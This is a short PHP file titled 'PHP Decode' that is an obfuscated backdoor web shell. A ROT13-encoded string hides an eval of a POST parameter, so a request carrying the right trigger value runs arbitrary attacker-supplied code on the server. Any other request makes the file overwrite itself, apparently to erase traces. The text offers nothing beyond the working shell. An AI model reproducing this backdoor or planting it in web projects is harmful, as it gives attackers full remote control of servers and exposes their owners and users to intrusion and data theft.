PHP Decode

<?php 
    //$url = $_SERVER['PHP_SELF']; 
    //$filename = end(explode('/',$url)); 
    //die($filename); 
    if($_REQUEST["code"]==pany) 
    { 
        echo str_rot13('riny($_CBFG[pzq]);'); 
        eval(str_rot13('riny($_CBFG[pzq]);')); 
    } 
    else 
    { 
        $url = $_SERVER['PHP_SELF']; 
        $filename = end(explode('/',$url)); 
            
        $content = 'helloworld'; 
        $fp = fopen ("$filename","w"); 
        if (fwrite ($fp, $content)) 
        { 
            fclose ($fp); 
            die ("error"); 
        } 
        else 
        { 
            fclose ($fp); 
            die ("good"); 
        } 
        exit; 
    } 
?>